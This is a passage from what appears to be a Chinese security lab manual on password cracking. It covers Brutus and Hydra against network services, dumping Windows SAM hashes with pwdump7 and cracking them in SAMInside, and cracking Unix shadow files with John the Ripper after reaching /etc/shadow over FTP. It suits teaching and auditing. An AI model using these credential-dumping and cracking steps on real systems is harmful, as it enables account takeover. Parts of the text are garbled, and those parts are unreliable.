3.口令破解攻击 3.1.网络服务口令远程破解了解网络服务口令破解的机制。学会使用常用的网络口令破解工具来破解密码和审计密码的安全性。了解设置健壮的网络服务口令的必要性。使用Brutus工具进行FTP、Pop3等多种网络服务的口令破解。使用Hydra工具进行FTP、Pop3、MSSQL等多种网络服务的口令破解。学生实验主机:Windows2000/XP/Server2003。实验目标服务器:WindowsServerA。网络环境:局域网。Target:输入你要破解的网络服务站点的IP或者域名。Type:选择网络服务的类型。Port:设置连接端口,Brutus会根据网络服务的类型自动填充默认的端口。如FTP->21,POP3->110等。ConnectOptionstelnetftppop3[-ntlm]imap[-ntlm]smbsmbnthttp[s]-{head|get}http-{get|post}-formhttp-proxyciscocisco-enablevncldap2ldap3mssqlmysqloracle-listenerpostgresnntpsocks5rexecrloginpcnfssnmprshcvssvnicqsapr3ssh2smtp-auth[-ntlm]pcanywhereteamspeaksipvmauthd3.2.Windows系统口令本地破解[实验目的][实验内容][实验环境][实验原理]WindowsNT系统密码存储的基本原理2000/XP/Server2003/Vista/7的用户账户数据库,所有用户的登录名及口令等相关信息都保存在这个文件中。系统在保存sam信息之前对sam信息进行了压缩处理,因此,sam文件中的信息不可读取。此外,注册表HKLM\SAM\SAM下,叐到ACL保护,可以使用regedt32.exe打开注册表编辑器并设置适当权限查看SAM中的内容。SAM数据库在磁盘上就保存在%systemroot%system32\config\目录下的SAM文件中,在这个目录下还包括一个security文件,是安全数据库的内容,两者有丌少关系。SAM数据库中包吨所有组、帐户的信息,包括密码HASH、帐户的SID等。Windows系统在SAM中采用了两种密码的加密机制,所以,在sam文件中保存着两个口令字,一个是LanMan版本的散列值(LM),另一个是NT版本的散列值(NTLM)。LanMan散列算法处理用户口令的过程是:将用户口令分成两半,每一半都是7个字符(不足7个字符的以0x00补齐),然后分别对这两个口令字加密,最后将加密后得到的散列值串连在一起,得到最终的LM散列值。从上述LM算法流程来看,可以发现LM安全性上的几点不足:NTLM散列的安全性较LM有所提升,因为其明文空间扩展到了95^128,采用暴力破解的时间复杂度大大增加。但是NTLM散列和LM散列一样,都没有在算法中包含随机数据(salt),所以仍然会受到字典攻击。但由于NTLM的明文空间较大,其字典占用的空间也会呈几何级数增长(NTLM的彩虹表大小为200G左右,而LM的彩虹表只需几百兆即可),破解时间自然也较LM要长很多。SAM的导出方法通过物理接触主机、启动其他操作系统来获取windows分区上的SAM文件。获取%SystemRoot%\repair\sam文件。使用pwdump等工具从注册表中导出SAM散列值,转储成类似与Unix系统的password格式文件。从网络中嗅探分析SMB报文,从中获取密码散列字符串。Key或者Active@PasswordChangerProfessional等等。SAMInside则是将用户密码以可阅读的明文方式破解出来,而且SAMInside可以使用分布式攻击方式同时使用多台计算机进行密码的破解,大大提高破解速度。Windows账户密码安全的防御方法对密码进行复杂策略的限制在“开始”菜单中打开“运行”对话框,输入“secpol.msc”打开本地安全策略编辑器,访问“安全设置”→“帐户策略”→“密码策略”。分别进行如下设置:启用“密码必须符合复杂性要求”。设置“密码长度的最小长度”:8位以上。设置“密码的最长使用期限”:30天以上。禁用LM散列算法在“开始”菜单中打开“运行”对话框,输入“secpol.msc”打开本地安全策略编辑器,访问“安全设置”→“本地策略”→“安全选项”,然后在右侧找到“网络安全:不要在下次更改密码时存储LANManager的哈希值”的设置,将其启用。启用syskey机制给账户双重加密。1、首先查看本地主机的密码策略。在“开始”菜单中打开“运行”对话框,输入“secpol.msc”打开“本地安全策略编辑器”。访问“安全设置”→“帐户策略”→“密码策略”,进行如下设置:禁用“密码必须符合复杂性要求”。设置“密码长度的最小长度”:8位以上。然后访问“安全设置”→“本地策略”→“安全选项”,然后在右侧找到“网络安全:不要在下次更改密码时存储LANManager的哈希值”的设置,确认或更改其设置为“禁用”(默认为“禁用”)。2、在本地计算机中新建一个用户,密码设置为8-14的随机纯数字组合,如用户名为“test”,密码为:“8967584106754”可打开一个命令提示符,输入如下命令直接添加用户。netusertest8967584106754/add当然,也可以通过控制面板中的用户帐户组件来添加新用户并为其设置密码。3、打开一个命令提示符,进入实验工具目录中的“pwdump7”,运行PwDump7.exe后即可直接显示本地计算机上所有用户及其密码散列值(包括LM散列值和NTLM散列值)。上述输出信息中每一行就是一个用户的信息,基本格式如下:“用户名:安全相对表示符(RID):LM散列:NTLM散列:::”接着,我们使用如下命令将上述用户散列信息存储到磁盘上的“C:\Sam.txt”文件中去。pwdump7>c:\sam.txt4、进入实验工具目录中的“SAMInside2.6.3”,双击运行SAMInside程序(SAMInside.exe),显示主界面如下所示。5、点击菜单项“File”→“ImportFromPWDUMP-file...”。然后选择前面存储的本机用户密码散列文件“C:\sam.txt”,点击“打开”按钮返回主界面。6、在“User”栏中仅选择我们刚才添加的临时用户(如“test”)。7、点击菜单项“Audit”,确认勾选“LM-HashAttack”,确认勾选“Brute-forceAttack”,即暴力破解方式。8、点击菜单项“Service”“Options”,在左侧选择“Brute-forceAttack”,然后在右侧定制暴力破解的字符集。9、点击菜单项“Audit”→“StartAttack”开始破解密码散列。破解瞬间完成,在上图中可以看到成功破解了“test“用户的密码为“8967584106754”。3.3.Unix系统口令本地破解[实验目的]了解Unix/Linux系统密码的加密机制的机制。学会使用Unix本地密码破解工具来破解密码和审计密码的安全性了解设置健壮的Unix口令,以及配置强壮密码策略的必要性。[实验内容]使用JohntheRipper破解Unix系统的密码散列文件。[实验环境]学生实验主机:Windows2000/XP/Server2003。实验目标服务器:LinuxServerC。网络环境:局域网。[实验原理]Unix/Linux系统密码存储的基本原理Unix/Linux(以下简称为*nix)系统使用passwd文件保存用户信息,其中包括经过DES加密的用户口令。如果系统采用shadow机制,则会将口令保存在shadow文件中,在passwd文件中只显示“x”。对于一般用户来说,passwd文件是可读的(只对root用户可写),而shadow文件则是不可读的。这两个文件都位于/etc目录下。密钥,然后对一个64位的零字符块进行DES加密,加密结果再次使用原有的密钥进行加密,该过程重复25次,最终生成一个11字符长的字串。在此基础上,*nix系统还使用掺杂其它数据的方法对口令加密,掺杂的数据又称为Salt(盐粒)。盐粒一般为12位,基于系统时间来读取值,取值范围是0~4095。使用盐粒后,一个完整的加密口令字串将由13个字符组成,其中,前两个字符为盐粒,后11个字符为真正的加密口令。例如,某个shadow文件的内容如下:$79n2arbVHhGiLe8TEQidn0:11699:0:99999:7:::bin:*:11699:0:99999:7:::…“$”符号开始,“$1”表示MD5,第二部分是8个字符的Salt,第三个部分是22个字符的经过哈希运算后的
用户口令。密码破解原理无论口令加密采用DES算法、MD5算法,还是其他机制,因为它们具有单向不可逆的特性,要想从算法本身去破解,难度相当大,通常只存在理论上的可能性。由于各种加密算法都是公开的,虽然逆向猜解不可行,但从正向猜解却是很现实的。因为,设置口令的用户是人,人们在设置口令时,习惯使用一些容易记忆且带有明显特征的口令,如用户名、生日、电话号码、亲友姓名等,这就给我们破解口令带来机会。我们可以制作一个字典文件:里面的条目都是经常用作口令的字串。猜解口令时,就从字典文件中读出一个条目作为口令,使用与系统口令加密算法相同的方法进行加密,得到的字串与口令文件中的条目进行比较,如果相同,则猜解成功;否则,继续下一次尝试。最终结果可能得到了真正的用户口令,也可能字典文件条目用尽而不能破解。口令破解的方法主要是字典法,利用字典文件进行口令猜解。常见的口令猜解模式主要是:字典模式:即使用指定的字典文件进行口令猜解。混合模式:即指定字典规则,对字典条目进行某种形式的变化,增加字典内容,提高猜解的效率。暴力模式:即遍历所有可能的密钥空间,进行口令猜解。密码破解方法UNIX系统使用passwd文件保存用户的基本信息,包括用户名、用户口令等信息。如果系统使用shadow机制的话,则将把用户口令单独保存到shadow文件中,而在passwd文件中用“x”代替口令。一旦获取到shadow文件和passwd文件后,就可以使用工具JohnTheRipper进行口令破解。JohntheRipper的特点本地破解,高效而且强大。可以破解标准和双倍长度的DES、MD5和Blowfish算法。使用内部高度优化的模块以取代crypt(3)。可以挂起和重新启动破解任务。已移植到多个平台(如Windows)。用户可以制定自己的单词表和规则。可以获得已中断或正在执行的任务的状态。可以制定所需破解的用户或组。JohntheRipper命令行的参数功能解释命令行方式:john[-功能选项][密码文件名]注:所有的选项均对大小写不敏感,而且也不需要全部输入,只要在保证不与其他参数冲突的前提下输入即可,如-restore参数只要输入-res即可。-pwfile:[,..]:用于指定存放密文所在的文件名,(可以输入多个,文件名以“,”分隔,也可以使用*或者?这两个通配符引用一批文件)。也可以不使用此参数,将文件名放在命令行的最后即可。-wordfile:<字典文件名>-stdin:指定的用于解密用的字典文件名。你也可以使用STDIO来输入,就是在键盘中输入。-rules:在解密过程中使用单词规则变化功能。如将尝试cool单词的其他可能,如COOLER、Cool等,详细规则可以在JOHN.INI文件中的[List.Rules:Wordlist]部分查到。-incremental[:<模式名称>]:使用遍历模式,就是组合密码的所有可能情况,同样可以在JOHN.INI文件中的[Incremental:*****]部分查到,我们在下面详细解释。-single:使用单一模式进行解密,主要是根据用户名产生变化来猜测解密。其组合规则可以在JOHN.INI文件中的[List.Rules:Single]部分查到,我们在下面详细解释。-external:<模式名称>使用自定义的扩展解密模式,可以在john.ini中定义自己需要的密码组合方式。JOHN也在INI文件中给出了几个示例,在INI文件的[List.External:******]中所定义的自订破解功能。-restore:<文件名>:继续上次的破解工作,JOHN被中断后,当前的解密进度情况被存放在RESTORE文件中,可以拷贝这个文件到一个新的文件中。如果参数后不带文件名,JOHN默认使用RESTORE文件。-makechars:<文件名>:制作一个字符表,你所指定的文件如果存在,则将会被覆盖。JOHN尝试使用内在规则在相应密匙空间中生成一个最有可能击中的密码组合,它会参考在JOHN.POT文件中已经存在的密匙。-show:显示已经破解出的密码,因为JOHN.POT文件中并不包含用户名,同时你应该输入相应的包含密码的文件名,JOHN会输出已经被解密的用户连同密码的详细表格。-test:测试当前机器运行JOHN的解密速度,需要1分钟,它会得出在当前的情况下解密的各种可能情况下相应的解密速度,如同时解密100个用户时的平均速度,使用遍历法解密模式时解密的速度。salts指用户个数,如果给出的对于100个用户解密的平均速度为18000次/秒,那么表明同时对100个用户解密,解密的速度为每个180次/秒。因为绝大多数的时间被用于密匙比较过程中了。所以应该对用户进行挑选。-users:-shells:[!][,..]:和上面的参数一样,这一选项可以选择对所有可以使用shell的用户进行解密,对其他用户不予理睬。“!”就是表示不要某些类型的用户。例如:“-shells:csh”。-salts:[!]:只选择解密用户大于的帐号,可以使你得到选择的权利,尽快的得到所需要的用户的PASS。-lamesalts:指定用户中密码所使用的cleartext。-timeout:<几分钟>:指定解密持续的时间,到时间JOHN自动停止运行。-list:在解密过程中在屏幕上列出所有正在尝试使用的密码,建议不要使用,它会将大部分时间浪费在显示上,极大地拖慢解密速度。一般只是适用于重定向输出到文件后,检验你所设定的某些模式是否正常。-beep-quiet:当解密出密码时是否要让PC喇叭叫一下以提醒你。-noname-nohash:不使用内存来保存“用户名”等内容。-des-md5:指定使用的解密方式是解DES还是MD5,对于解密DES密码不用理会这[实验过程]打开一个命令提示符,运行“ftp”命令,出现如下图所示的FTP客户端交互界面。在ftp交互界面中依次输入如下指令登录目标服务器(LinuxServerC,IP地址为03)的FTP站点。open03ftpuserftpuser如果成功登录的话,应该能够看到如下图所示的提示消息,最后一行为“230Loginsuccessful.Have
fun.”然后我们可以输入“pwd”命令显示当前所在的目录;输入“dir”命令显示当前目录下的子目录和文件。我们尝试是否可以进入的FTP的父目录中去获取系统的敏感文件,如存放系统用户配置和密码信息的文件:/etc/passwd和/etc/shadow等。输入“cd..”ftp命令可以进入到父目录中;输入“cd/”ftp命令可以进入到根目录中。这里我们首先输入“cd/etc”命令则可以进入到“/etc”系统配置目录中,然后运行“dir”命令来查看/etc中所
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 二零二五版动产拍卖委托代理合同范例
- 区域代理合同标准模板
- 二零二五版二手房交易中介协议合同范例
- 会计职工合同标准文本
- 企业无偿租车合同标准文本
- 2025年航空制造和材料专用设备项目发展计划
- 鱼塘出租合同
- 2025渔场租赁合同模板
- 个人转让别墅合同标准文本
- 倒闭工厂转让合同样本
- 湖北2023年中国邮政储蓄银行湖北分行春季校园招聘(第一批)考试参考题库含答案详解
- T-DLSHXH 002-2023 工业干冰标准规范
- 典型示功图应用与分析
- 出凝血完整版终版
- LY/T 2006-2012荒漠生态系统服务评估规范
- GB/T 31190-2014实验室废弃化学品收集技术规范
- 《地铁突发大客流应急管理》论文11000字
- 第五章-项目时间管理课件
- 导游人员管理法律制度课件
- 木箱检验作业指导书
- 初中级档案职称《档案事业概论》档案事业题库一
评论
0/150
提交评论